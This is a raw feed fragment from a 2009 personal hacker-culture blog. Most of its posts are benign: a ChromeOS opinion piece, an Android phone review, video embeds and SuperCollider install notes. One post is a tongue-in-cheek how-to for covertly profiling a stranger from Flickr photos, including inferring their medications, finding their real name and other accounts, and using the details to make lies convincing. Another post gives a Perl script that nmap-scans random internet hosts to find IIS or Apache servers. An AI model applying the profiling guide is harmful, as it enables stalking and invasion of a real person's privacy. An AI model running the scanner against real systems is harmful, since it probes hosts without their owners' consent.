height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/0QRO3gKj3qw&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/0QRO3gKj3qw&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Negatives:&lt;br /&gt;Hardware&lt;br /&gt;DIY Computing &lt;br /&gt;&lt;br /&gt;ChromeOS will only use specified hardware components and will be primarily for netbooks(the story so far). DIY computers, like building your own device for chrome os, is going to be hard and a hack. I feel that these things suck...but now for the good news.&lt;br /&gt;&lt;br /&gt;Paradigm shift:&lt;br /&gt;Everything is a web app. Everything. Editing video is a web app. Someone I work with suggested that they would make javascript that had system calls. But it seems to me, that now you just build your web app to work, and Chrome and ChromeOS do all the hardware stuff for you. The browser will have access to the GPU etc. &lt;br /&gt;&lt;br /&gt;Only SSD drives.&lt;br /&gt;&lt;br /&gt;Everything is in the cloud...WTF EVERYTHING. It's like the last suit you are ever going to wear. All your stuff will be in the cloud so you can download it when you get a new machine, even saves custom settings like wallpaper. You can use the hardrive to store stuff, and it is natively encrypted. But for the most part everything will live in the cloud.&lt;br /&gt;&lt;br /&gt;I think this is a great step forward from the traditional computer paradigm, I'm excited and can't wait until I can buy a chromeOS device.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bonus: Chrome Browser should come out for linux and mac very soon. I have been using the nightly build script found here:&lt;br /&gt;http://www.macosxhints.com/article.php?story=20090604081030791&lt;br /&gt;&lt;br /&gt;The marketting video is the one at the top of the page.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6285546696995919487?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6285546696995919487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6285546696995919487' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6285546696995919487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6285546696995919487'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/11/chromeos-thoughts.html' title='ChromeOS thoughts'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-8269340939069405541</id><published>2009-11-18T11:03:00.000-08:00</published><updated>2009-11-18T11:06:49.566-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='raven interface'/><category scheme='http://www.blogger.com/atom/ns#' term='projects'/><category scheme='http://www.blogger.com/atom/ns#' term='css nightmare'/><category scheme='http://www.blogger.com/atom/ns#' term='wereboobs'/><category scheme='http://www.blogger.com/atom/ns#' term='thebusisalifetime'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>I HAZ A NEW PAGE!!1! wereboobs.com</title><content type='html'>&lt;a href="http://wereboobs.com"&gt;&lt;img src="http://farm3.static.flickr.com/2729/4114883023_ffa22f3d56.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;I decided to make a new page for all of my on going projects. It probably looks awful in your browser and resolution....but being that very few people are going to actually look at it, I'm not fixing it. However, it has links to some programming stuff and some other projects I am working on, that I haven't mentioned on the blog, so feel free to check it out....&lt;br /&gt;&lt;br /&gt;&lt;a href="http://wereboobs.com"&gt;wereboobs.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-8269340939069405541?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/8269340939069405541/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=8269340939069405541' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8269340939069405541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8269340939069405541'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/11/i-haz-new-page1-wereboobscom.html' title='I HAZ A NEW PAGE!!1! wereboobs.com'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm3.static.flickr.com/2729/4114883023_ffa22f3d56_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-5982924746916473748</id><published>2009-11-15T13:58:00.000-08:00</published><updated>2009-11-15T14:01:23.405-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fucking retarded'/><category scheme='http://www.blogger.com/atom/ns#' term='gregory d evans'/><category scheme='http://www.blogger.com/atom/ns#' term='computer hacker'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>This guy is a fucking joke</title><content type='html'>&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/uh2mmPzC6Dg&amp;hl=en_US&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/uh2mmPzC6Dg&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;The worst part of this, is this guy was on Modern Marvels. What the fuck?&lt;br /&gt;&lt;br /&gt;I guess I can't watch Modern Marvels anymore. le sigh.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-5982924746916473748?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/5982924746916473748/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=5982924746916473748' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5982924746916473748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5982924746916473748'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/11/this-guy-is-fucking-joke.html' title='This guy is a fucking joke'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-1542908093252312933</id><published>2009-11-13T08:35:00.000-08:00</published><updated>2009-11-13T08:39:28.666-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='moment'/><category scheme='http://www.blogger.com/atom/ns#' term='samsung'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>The Samsung Moment An android phone</title><content type='html'>Engadget kind of slammed this phone, but I bought it anyways. They said:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;On that level, we applaud Sprint for staying on the ball and recognizing that the keyboardless Hero wasn't enough to satisfy every last subscriber who'd like to get in on Android. Thing is, the Moment still feels like a first-generation device -- and for a platform that launched commercially a solid year ago, that's not really acceptable.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;a href="http://www.engadgetmobile.com/2009/10/26/samsung-moment-review/"&gt;Engadget Review&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I haven't really owned a smartphone since my sidekick 2(if you even consider that a smart phone), so maybe I'm not the guy to make judgement. But I love this phone. The pictures it takes are acceptable quality:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/bsdpunkblog/4093905346/"&gt;&lt;img src="http://farm3.static.flickr.com/2785/4093905346_786e627fe2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;***To see full size photo click, then on the flickr page click all sizes, then click original***&lt;br /&gt;&lt;br /&gt;The videos it takes are the same:&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Rw63RQQYYeo&amp;hl=en_US&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/Rw63RQQYYeo&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;And the fact that I can listen to last.fm from and to work makes me happy. The only thing I think that feels first generation about this device, is that it's a little thick. But with an 800Mhz processor which is one of the faster chips in the android phone, and a full qwerty keyboard, the thickness doesn't bother me. I used an iPod touch as my PDA before I got my Moment, however the moment has completely replaced this device. The only real criticism I have of this device is that it came with android 1.5, rather than 1.6 or 2.0....What up with that? But really that hasn't affected my experience, all the apps I wanted are there...with the exception of a kindle app, which I REALLY enjoyed on my ipod touch. But there are no kindle apps on any android. But I have heard that they are making a kindle app for the mac...one day in the far future. So I guess I'll wait for that.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-1542908093252312933?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/1542908093252312933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=1542908093252312933' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1542908093252312933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1542908093252312933'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/11/samsung-moment-android-phone.html' title='The Samsung Moment An android phone'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm3.static.flickr.com/2785/4093905346_786e627fe2_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-7138073739897907968</id><published>2009-11-10T09:43:00.000-08:00</published><updated>2009-11-10T12:35:31.416-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='stalking'/><category scheme='http://www.blogger.com/atom/ns#' term='last.fm'/><category scheme='http://www.blogger.com/atom/ns#' term='flickr'/><category scheme='http://www.blogger.com/atom/ns#' term='creepy'/><category scheme='http://www.blogger.com/atom/ns#' term='medication'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Having an imaginary relationship with a flickr person. (Stalking ?)</title><content type='html'>This tutorial/manual will go over the very basics of stalking someone on flickr. It's simple, and you can't get herpes from flickr. I have lots of reasons for doing what I do, but I figured it's more interesting, how I do what I do. There is only one strict rule to this "game", DO NOT MAKE CONTACT - YOU ARE DOING SOMETHING MOST PEOPLE CONSIDER CREEPY AND UNNACCEPTABLE. No matter how endearing you believe you are, you aren't. You're just a creep. It's best to be a happy alone creep. Or a broken depressed alone creep....without a restraining order.&lt;br /&gt;&lt;br /&gt;Look through flickr for a subject, you might want to start on the &lt;a href="http://www.flickr.com/photos/"&gt;Most Recent Photo page&lt;/a&gt;. It's best to choose someone with at least 1000 photos. Don't watch the videos at first, I'll talk about videos in closing. Look through every photo, and extract information. Sometimes it will be blatant, like a skyline you recognize revealing the place they are at. Sometimes things will be subtle, always look for writing in the background. Any sort of information that might reveal more about there personality, habits, hobbies, medications, and work(More about medications below). Pay attention to things like, what tv shows and books are in the background, or what programs are running on there computer, and if you get a picture of the dock or the task bar, study it for things you can figure out about them, like creative programs, like photoshop or Reason. Often times you will get pictures of food, a good indication of diet, let's you know if there vegan or on a macrobiotic diet or whatever. Are they messy, are they neat? Keep notes in a notepad/TextEdit.app/gedit file, if you have a bad memory.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Adding them as a contact on flickr, or favoriting a photo, is probably okay, just for your convience of finding their page...however, favoriting 500 of their photos is not ok. Dead give away you're a weirdo. You don't want to be on the radar, no matter how much you think you do.&lt;br /&gt;&lt;br /&gt;If you divine there real name from the photos, or account info, use &lt;a href="http://pipl.com"&gt;pipl.com&lt;/a&gt; to do a search this will reveal all there other online accounts. If you don't have there name use there flickr screen name to search on other social networks. Last.fm is my favorite because I can compare musical tastes. Some social networks, like facebook, etc are to revealing about the person to have an idealic imaginary relationship with them, so stay away from these.&lt;br /&gt;&lt;br /&gt;The best place to look up what medications is always google, just don't go to the pharmaceutical companie's website about the drug, that's never interesting, you want a wikipedia site or medical site. By the way, if you just get a shot of the pill imprint code, the best place to look that up on is &lt;a href="http://rxlist.com"&gt;rxlist.com&lt;/a&gt;. Of course the best way to glean information from medications is just being familiar with drugs in general, and if you're reading this you probably have a pharmocopia your self, so that shouldn't be an issue.&lt;br /&gt;&lt;br /&gt;If you see that they have a boyfriend, or girlfriend, just innundate that person with horrible qualities, and pay particular attention to shots, were they are together but unhappy.&lt;br /&gt;&lt;br /&gt;FAQ:&lt;br /&gt;&lt;br /&gt;Ok this guide was awesome...so awesome in fact now I'm madly passionately in love with this person, what the fuck did you do to me? FIX IT!&lt;br /&gt;&lt;br /&gt;Ok so this is what the videos are for, video's are the fastest thing to help you find faults in someone. Like a horrible southern drawl you didn't expect. Go through the pictures one more time and look for things that just annoy the piss out of you. Like something they wrote that was incredibly unclever, or conji tattoos. Or look at that endearing picture of her crying, and think "That's just a crazy crying bitch, would hate to deal with her shit all the time". It helps&lt;br /&gt;&lt;br /&gt;Is this healthy?&lt;br /&gt;Probably not, no.&lt;br /&gt;&lt;br /&gt;Are there advanced techniques not included in this manual/tutorial?&lt;br /&gt;Yes, but it's probably unethical to post them on the intarwebs.&lt;br /&gt;&lt;br /&gt;Why the focus on Medications?&lt;br /&gt;Usually people who have thousands of pictures of themselves publically available online, have a screw loose. I mean look at &lt;a href="http://www.flickr.com/photos/bsdpunkblog/"&gt;me&lt;/a&gt; for fuck's sake.&lt;br /&gt;&lt;br /&gt;Any practical applications for this "game" ?&lt;br /&gt;I guess if one were so inclined, by building scenarios in your head, like seeing your subject at a fair and then implanting yourself at the fair and thinking about the fun you would have would be it's own reward. Ok not really, but something it would help with, is if you had to lie on the spot about a whole day or thing that happened. With the memory of pictures you can add a level of detail and complexity to your lies that make them very believable.&lt;br /&gt;&lt;br /&gt;Why would I do that?&lt;br /&gt;You're reading a post on a hacker culture blog, about having a fake relationship with someone who has a flickr account....I'm pretty sure fucked up shit happens to you a lot, and some of that probably involves lieing.&lt;br /&gt;&lt;br /&gt;Why do you do this?&lt;br /&gt;I have problems...lots and lots of problems, and it's pretty much a good thing I never meet these people.&lt;br /&gt;&lt;br /&gt;You're a fucking psychopath.&lt;br /&gt;That's not a question.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-7138073739897907968?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/7138073739897907968/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=7138073739897907968' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7138073739897907968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7138073739897907968'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/11/having-imaginary-relationship-with.html' title='Having an imaginary relationship with a flickr person. (Stalking ?)'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-5145076794521554806</id><published>2009-11-09T08:33:00.003-08:00</published><updated>2009-11-09T08:33:33.868-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dark crystal rap'/><category scheme='http://www.blogger.com/atom/ns#' term='dark crystal'/><category scheme='http://www.blogger.com/atom/ns#' term='hip hop'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>I see what you did there.....with my childhood</title><content type='html'>&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/BridfhU41nk&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/BridfhU41nk&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-5145076794521554806?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/5145076794521554806/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=5145076794521554806' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5145076794521554806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5145076794521554806'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/11/i-see-what-you-did-therewith-my.html' title='I see what you did there.....with my childhood'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4234567127108265308</id><published>2009-10-30T12:35:00.000-07:00</published><updated>2009-10-30T12:37:02.089-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bsdpunk'/><category scheme='http://www.blogger.com/atom/ns#' term='nashville'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker convention'/><category scheme='http://www.blogger.com/atom/ns#' term='cons'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>woot PhreakNIC, see you guys around 4:00</title><content type='html'>&lt;a href="http://www.phreaknic.info/pn13/" &gt;http://www.phreaknic.info/pn13/&lt;/a&gt; woot Hometown Hacker con&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4234567127108265308?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4234567127108265308/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4234567127108265308' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4234567127108265308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4234567127108265308'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/woot-phreaknic-see-you-guys-around-400.html' title='woot PhreakNIC, see you guys around 4:00'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4239043576519657237</id><published>2009-10-28T11:40:00.000-07:00</published><updated>2009-10-28T11:42:28.032-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='port scanning'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Script for finding servers of a particular kind. IIS Apache or Otherwise.</title><content type='html'>For this script you need to have nmap installed. In the example script I made I am search for IIS servers but you can use it to search for any kind, just search for them in the format that nmap saves them as. So apache servers would change the variable to this:&lt;br /&gt;my $webserver_type = qr!(Apache)!;&lt;br /&gt;&lt;br /&gt;So this script saves all open servers to one file, all servers of a particular type to another file, and it saves all results to a file. You can cahnge where those files are by editing these variables:&lt;br /&gt;my $hunt = "/root/serverhunt";&lt;br /&gt;my $found = "/root/found";&lt;br /&gt;my $open_file = "/root/open";&lt;br /&gt;&lt;br /&gt;**Oh and it just appends to the file, so you can run it and it will never overwrite your progress, just add to it.**&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This does scans randomly in increments of 100, you can change how many times you want it to loop by changing this variable:&lt;br /&gt;my $howmanyloops = "1";&lt;br /&gt;So if you wanted to do it twice you would put:&lt;br /&gt;my $howmanyloops = "2";&lt;br /&gt;&lt;br /&gt;Ok so before you get going with this you probably need to be aware of the &lt;a href="http://nmap.org/book/legal-issues.html"&gt;legality of port scanning&lt;/a&gt;. Port scanning may attract unwanted attention. Talk to a lawyer before port scanning. I'm not liable for you using this script. Etc Etc....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;&lt;br /&gt;my $webserver_type = qr!(IIS)!;&lt;br /&gt;my $open = qr!(open)!;&lt;br /&gt;my $howmanyloops = "1";&lt;br /&gt;&lt;br /&gt;my $hunt = "/root/serverhunt";&lt;br /&gt;my $found = "/root/found";&lt;br /&gt;my $open_file = "/root/open";&lt;br /&gt;&lt;br /&gt;my $nmap_scan;&lt;br /&gt;my @hunt_file;&lt;br /&gt;my $line;&lt;br /&gt;my $iter = 0;&lt;br /&gt;&lt;br /&gt;while($iter &lt; $howmanyloops){&lt;br /&gt; $nmap_scan = `nmap -sV -iR 100 -P0 -p 80 -oG $hunt`;&lt;br /&gt; open HUNT, $hunt;&lt;br /&gt; @hunt_file = &lt;HUNT&gt;;&lt;br /&gt; close(HUNT);&lt;br /&gt; open FOUND, "&gt;&gt;", $found;&lt;br /&gt; open OPENFILE, "&gt;&gt;", $open_file;&lt;br /&gt; foreach(@hunt_file){&lt;br /&gt;  $line = $_;&lt;br /&gt;  if($line =~ $webserver_type){&lt;br /&gt;   print FOUND $line; &lt;br /&gt;  }&lt;br /&gt;  if($line =~ $open){&lt;br /&gt;   print OPENFILE $line; &lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; ++$iter;&lt;br /&gt;}&lt;br /&gt;close(FOUND);&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4239043576519657237?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4239043576519657237/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4239043576519657237' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4239043576519657237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4239043576519657237'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/10/script-for-finding-servers-of.html' title='Script for finding servers of a particular kind. IIS Apache or Otherwise.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-608261294446110380</id><published>2009-10-24T07:52:00.001-07:00</published><updated>2009-10-24T07:52:41.453-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='supercollider'/><category scheme='http://www.blogger.com/atom/ns#' term='fedora'/><category scheme='http://www.blogger.com/atom/ns#' term='music'/><category scheme='http://www.blogger.com/atom/ns#' term='fftw'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Installing SuperCollider3 on Fedora 11</title><content type='html'>So I went to install supercollider on Fedora and I was using the standard instructions:&lt;br /&gt;&lt;a href="http://swiki.hfbk-hamburg.de:8888/MusicTechnology/479"&gt;http://swiki.hfbk-hamburg.de:8888/MusicTechnology/479&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;But I had some extra problems and solutions I would like to share:&lt;br /&gt;Most of the dependencies I already had installed:&lt;br /&gt;&lt;a href="http://bsdpunk.blogspot.com/2009/10/installing-all-shit-you-need-on-fedora.html"&gt;See Here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So basically install all the dependencies from the normal instruction sheet tells you to with yum, plus to be on the same side do them all again with -devel tagged on the end.&lt;br /&gt;&lt;br /&gt;I compiled fftw from scratch because when I did a search for it in yum it wasn't there(I had searched for fftw3f), and so I was looking for the solution to get it to show up in scons,(when you ran scons it said Checking for fftw3f... no ) and someone on OpenSuse said compiling with the --enable-float option helped them(./configure --enable-float). This didn't help me in Fedora, however I did another search and realized that it WAS in yum, so I installed it and the devel package:&lt;br /&gt;yum -y install fftw&lt;br /&gt;yum -y install fftw-devel&lt;br /&gt;&lt;br /&gt;After you build with scons you can launch, supercollider with this:&lt;br /&gt;/usr/local/bin/sclang&lt;br /&gt;&lt;br /&gt;However I wanted to add the SwingOSC to mine, so I downloaded that tar:&lt;br /&gt;http://sourceforge.net/projects/swingosc/&lt;br /&gt;After you download that, in terminal navigate to the dir and run&lt;br /&gt;sh install_linux_system.sh /usr/local&lt;br /&gt;(The /usr/local is because of the way supercollider was installed)&lt;br /&gt;&lt;br /&gt;Create a file called .sclang.sc in your user folder with these options:&lt;br /&gt;&lt;br /&gt;GUI.swing;&lt;br /&gt;SwingOSC.java = "/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0/jre/bin/java";&lt;br /&gt;SwingOSC.program = ("/usr/bin/SwingOSC.jar").standardizePath;&lt;br /&gt;SwingOSC.default.boot;&lt;br /&gt;&lt;br /&gt;So that file would be, /home/user/.sclang.sc or /root/.sclang.sc, and these paths are Fedora specefic.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-608261294446110380?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/608261294446110380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=608261294446110380' 